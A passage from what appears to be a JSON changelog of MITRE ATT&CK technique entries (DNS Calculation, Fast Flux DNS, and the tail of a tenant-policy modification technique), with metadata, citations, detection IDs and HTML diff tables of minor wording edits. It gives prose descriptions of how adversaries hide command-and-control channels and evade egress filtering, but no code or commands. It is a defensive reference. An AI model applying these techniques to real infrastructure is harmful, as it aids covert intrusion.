class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">figuration&nbsp;settings&nbsp;within&nbsp;the&nbsp;AD&nbsp;environment&nbsp;to&nbsp;implement&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plement&nbsp;a&nbsp;[Rogue&nbsp;Domain&nbsp;Controller](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Rogue&nbsp;Domain&nbsp;Controller](https://attack.mitre.org/techniqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1207).&nbsp;*&nbsp;adding&nbsp;new,&nbsp;adversary-controlled&nbsp;feder</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1207).&nbsp;*&nbsp;adding&nbsp;new,&nbsp;adversary-controlled&nbsp;federated&nbsp;iden</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ated&nbsp;identity&nbsp;providers&nbsp;to&nbsp;identity&nbsp;tenants,&nbsp;allowing&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tity&nbsp;providers&nbsp;to&nbsp;identity&nbsp;tenants,&nbsp;allowing&nbsp;adversaries&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;to&nbsp;authenticate&nbsp;as&nbsp;any&nbsp;user&nbsp;managed&nbsp;by&nbsp;the&nbsp;victim&nbsp;tena</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">authenticate&nbsp;as&nbsp;any&nbsp;user&nbsp;managed&nbsp;by&nbsp;the&nbsp;victim&nbsp;tenant(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Okta&nbsp;Cross-Tenant&nbsp;Impersonation&nbsp;2023)&nbsp;&nbsp;Adversa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Okta&nbsp;Cross-Tenant&nbsp;Impersonation&nbsp;2023)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;temporarily&nbsp;modify&nbsp;domain&nbsp;or&nbsp;tenant&nbsp;policy,&nbsp;carry&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emporarily&nbsp;modify&nbsp;domain&nbsp;or&nbsp;tenant&nbsp;policy,&nbsp;carry&nbsp;out&nbsp;a&nbsp;malic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ut&nbsp;a&nbsp;malicious&nbsp;action(s),&nbsp;and&nbsp;then&nbsp;revert&nbsp;the&nbsp;change&nbsp;to&nbsp;remo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;action(s),&nbsp;and&nbsp;then&nbsp;revert&nbsp;the&nbsp;change&nbsp;to&nbsp;remove&nbsp;suspici</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;suspicious&nbsp;indicators.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ous&nbsp;indicators.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1026: Privileged Account Management",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0270: Detection of Domain or Tenant Policy Modifications via AD and Identity Provider"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-11 14:56:34.154000+00:00",
                    "modified": "2026-11-03 22:01:02.917000+00:00",
                    "name": "DNS Calculation",
                    "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. An IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1568/003",
                            "external_id": "T1568.003"
                        },
                        {
                            "source_name": "Meyers Numbered Panda",
                            "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                            "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
                        },
                        {
                            "source_name": "Moran 2014",
                            "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                            "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                        },
                        {
                            "source_name": "Rapid7G20Espionage",
                            "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
                            "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 22:01:02.917000+00:00\", \"old_value\": \"2026-05-12 15:12:00.673000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. An IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\\n\\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)\", \"old_value\": \"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\\n\\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\\n+Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. An IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\\n \\n One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to123__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to123__0\"><a href=\"#difflib_chg_to123__top\">t</a></td><td class=\"diff_header\" id=\"from123_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;perform&nbsp;calculations&nbsp;on&nbsp;addresses&nbsp;returned&nbsp;i</td><td class=\"diff_next\"><a href=\"#difflib_chg_to123__top\">t</a></td><td class=\"diff_header\" id=\"to123_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;perform&nbsp;calculations&nbsp;on&nbsp;addresses&nbsp;returned&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;DNS&nbsp;results&nbsp;to&nbsp;determine&nbsp;which&nbsp;port&nbsp;and&nbsp;IP&nbsp;address&nbsp;to&nbsp;use&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;DNS&nbsp;results&nbsp;to&nbsp;determine&nbsp;which&nbsp;port&nbsp;and&nbsp;IP&nbsp;address&nbsp;to&nbsp;use&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;command&nbsp;and&nbsp;control,&nbsp;rather&nbsp;than&nbsp;relying&nbsp;on&nbsp;a&nbsp;predetermi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;command&nbsp;and&nbsp;control,&nbsp;rather&nbsp;than&nbsp;relying&nbsp;on&nbsp;a&nbsp;predetermi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ned&nbsp;port&nbsp;number&nbsp;or&nbsp;the&nbsp;actual&nbsp;returned&nbsp;IP&nbsp;address.&nbsp;A&nbsp;IP&nbsp;and/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ned&nbsp;port&nbsp;number&nbsp;or&nbsp;the&nbsp;actual&nbsp;returned&nbsp;IP&nbsp;address.&nbsp;A<span class=\"diff_add\">n</span>&nbsp;IP&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;port&nbsp;number&nbsp;calculation&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;bypass&nbsp;egress&nbsp;filt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/or&nbsp;port&nbsp;number&nbsp;calculation&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;bypass&nbsp;egress&nbsp;fil</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ering&nbsp;on&nbsp;a&nbsp;C2&nbsp;channel.(Citation:&nbsp;Meyers&nbsp;Numbered&nbsp;Panda)&nbsp;&nbsp;One</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tering&nbsp;on&nbsp;a&nbsp;C2&nbsp;channel.(Citation:&nbsp;Meyers&nbsp;Numbered&nbsp;Panda)&nbsp;&nbsp;On</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;implementation&nbsp;of&nbsp;[DNS&nbsp;Calculation](https://attack.mitre.or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;implementation&nbsp;of&nbsp;[DNS&nbsp;Calculation](https://attack.mitre.o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1568/003)&nbsp;is&nbsp;to&nbsp;take&nbsp;the&nbsp;first&nbsp;three&nbsp;octets&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1568/003)&nbsp;is&nbsp;to&nbsp;take&nbsp;the&nbsp;first&nbsp;three&nbsp;octets&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;an&nbsp;IP&nbsp;address&nbsp;in&nbsp;a&nbsp;DNS&nbsp;response&nbsp;and&nbsp;use&nbsp;those&nbsp;values&nbsp;to&nbsp;cal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;an&nbsp;IP&nbsp;address&nbsp;in&nbsp;a&nbsp;DNS&nbsp;response&nbsp;and&nbsp;use&nbsp;those&nbsp;values&nbsp;to&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">culate&nbsp;the&nbsp;port&nbsp;for&nbsp;command&nbsp;and&nbsp;control&nbsp;traffic.(Citation:&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lculate&nbsp;the&nbsp;port&nbsp;for&nbsp;command&nbsp;and&nbsp;control&nbsp;traffic.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eyers&nbsp;Numbered&nbsp;Panda)(Citation:&nbsp;Moran&nbsp;2014)(Citation:&nbsp;Rapid7</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Meyers&nbsp;Numbered&nbsp;Panda)(Citation:&nbsp;Moran&nbsp;2014)(Citation:&nbsp;Rapid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">G20Espionage)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">7G20Espionage)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0262: Detection Strategy for Dynamic Resolution through DNS Calculation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-11 14:11:16.560000+00:00",
                    "modified": "2026-11-03 22:00:26.540000+00:00",
                    "name": "Fast Flux DNS",
                    "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an address as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1568/001",
                            "external_id": "T1568.001"
                        },
                        {
                            "source_name": "Fast Flux - Welivesecurity",
                            "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.",
                            "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/"
                        },
                        {
                            "source_name": "MehtaFastFluxPt1",
                            "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
                            "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref"
                        },
                        {
                            "source_name": "MehtaFastFluxPt2",
                            "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
                            "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows",
                        "ESXi"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 22:00:26.540000+00:00\", \"old_value\": \"2025-10-24 17:48:33.501000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\\n\\nThe simplest, \\\"single-flux\\\" method, involves registering and de-registering an address as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\\n\\nIn contrast, the \\\"double-flux\\\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.\", \"old_value\": \"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\\n\\nThe simplest, \\\"single-flux\\\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\\n\\nIn contrast, the \\\"double-flux\\\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\\n \\n-The simplest, \\\"single-flux\\\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\\n+The simplest, \\\"single-flux\\\" method, involves registering and de-registering an address as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\\n \\n In contrast, the \\\"double-flux\\\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to140__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to140__0\"><a href=\"#difflib_chg_to140__top\">t</a></td><td class=\"diff_header\" id=\"from140_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;Fast&nbsp;Flux&nbsp;DNS&nbsp;to&nbsp;hide&nbsp;a&nbsp;command&nbsp;and&nbsp;cont</td><td class=\"diff_next\"><a href=\"#difflib_chg_to140__top\">t</a></td><td class=\"diff_header\" id=\"to140_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;Fast&nbsp;Flux&nbsp;DNS&nbsp;to&nbsp;hide&nbsp;a&nbsp;command&nbsp;and&nbsp;cont</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rol&nbsp;channel&nbsp;behind&nbsp;an&nbsp;array&nbsp;of&nbsp;rapidly&nbsp;changing&nbsp;IP&nbsp;addresses</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rol&nbsp;channel&nbsp;behind&nbsp;an&nbsp;array&nbsp;of&nbsp;rapidly&nbsp;changing&nbsp;IP&nbsp;addresses</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;linked&nbsp;to&nbsp;a&nbsp;single&nbsp;domain&nbsp;resolution.&nbsp;This&nbsp;technique&nbsp;uses&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;linked&nbsp;to&nbsp;a&nbsp;single&nbsp;domain&nbsp;resolution.&nbsp;This&nbsp;technique&nbsp;uses&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;fully&nbsp;qualified&nbsp;domain&nbsp;name,&nbsp;with&nbsp;multiple&nbsp;IP&nbsp;addresses&nbsp;ass</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;fully&nbsp;qualified&nbsp;domain&nbsp;name,&nbsp;with&nbsp;multiple&nbsp;IP&nbsp;addresses&nbsp;ass</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igned&nbsp;to&nbsp;it&nbsp;which&nbsp;are&nbsp;swapped&nbsp;with&nbsp;high&nbsp;frequency,&nbsp;using&nbsp;a&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igned&nbsp;to&nbsp;it&nbsp;which&nbsp;are&nbsp;swapped&nbsp;with&nbsp;high&nbsp;frequency,&nbsp;using&nbsp;a&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ombination&nbsp;of&nbsp;round&nbsp;robin&nbsp;IP&nbsp;addressing&nbsp;and&nbsp;short&nbsp;Time-To-Li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ombination&nbsp;of&nbsp;round&nbsp;robin&nbsp;IP&nbsp;addressing&nbsp;and&nbsp;short&nbsp;Time-To-Li</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;(TTL)&nbsp;for&nbsp;a&nbsp;DNS&nbsp;resource&nbsp;record.(Citation:&nbsp;MehtaFastFluxP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;(TTL)&nbsp;for&nbsp;a&nbsp;DNS&nbsp;resource&nbsp;record.(Citation:&nbsp;MehtaFastFluxP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t1)(Citation:&nbsp;MehtaFastFluxPt2)(Citation:&nbsp;Fast&nbsp;Flux&nbsp;-&nbsp;Welive</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t1)(Citation:&nbsp;MehtaFastFluxPt2)(Citation:&nbsp;Fast&nbsp;Flux&nbsp;-&nbsp;Welive</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">security)&nbsp;&nbsp;The&nbsp;simplest,&nbsp;\"single-flux\"&nbsp;method,&nbsp;involves&nbsp;regi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">security)&nbsp;&nbsp;The&nbsp;simplest,&nbsp;\"single-flux\"&nbsp;method,&nbsp;involves&nbsp;regi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stering&nbsp;and&nbsp;de-registering&nbsp;an&nbsp;address<span class=\"diff_chg\">es&nbsp;as</span>&nbsp;part&nbsp;of&nbsp;the&nbsp;DNS&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stering&nbsp;and&nbsp;de-registering&nbsp;an&nbsp;address<span class=\"diff_chg\">&nbsp;as</span>&nbsp;part&nbsp;of&nbsp;the&nbsp;DNS&nbsp;A&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;(address)&nbsp;record&nbsp;list&nbsp;for&nbsp;a&nbsp;single&nbsp;DNS&nbsp;name.&nbsp;These&nbsp;registra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">address)&nbsp;record&nbsp;list&nbsp;for&nbsp;a&nbsp;single&nbsp;DNS&nbsp;name.&nbsp;These&nbsp;registrati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;have&nbsp;a&nbsp;five-minute&nbsp;average&nbsp;lifespan,&nbsp;resulting&nbsp;in&nbsp;a&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;have&nbsp;a&nbsp;five-minute&nbsp;average&nbsp;lifespan,&nbsp;resulting&nbsp;in&nbsp;a&nbsp;cons</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nstant&nbsp;shuffle&nbsp;of&nbsp;IP&nbsp;address&nbsp;resolution.(Citation:&nbsp;Fast&nbsp;Flux</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tant&nbsp;shuffle&nbsp;of&nbsp;IP&nbsp;address&nbsp;resolution.(Citation:&nbsp;Fast&nbsp;Flux&nbsp;-</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;-&nbsp;Welivesecurity)&nbsp;&nbsp;In&nbsp;contrast,&nbsp;the&nbsp;\"double-flux\"&nbsp;method&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Welivesecurity)&nbsp;&nbsp;In&nbsp;contrast,&nbsp;the&nbsp;\"double-flux\"&nbsp;method&nbsp;regi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gisters&nbsp;and&nbsp;de-registers&nbsp;an&nbsp;address&nbsp;as&nbsp;part&nbsp;of&nbsp;the&nbsp;DNS&nbsp;Name&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sters&nbsp;and&nbsp;de-registers&nbsp;an&nbsp;address&nbsp;as&nbsp;part&nbsp;of&nbsp;the&nbsp;DNS&nbsp;Name&nbsp;Se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Server&nbsp;record&nbsp;list&nbsp;for&nbsp;the&nbsp;DNS&nbsp;zone,&nbsp;providing&nbsp;additional&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 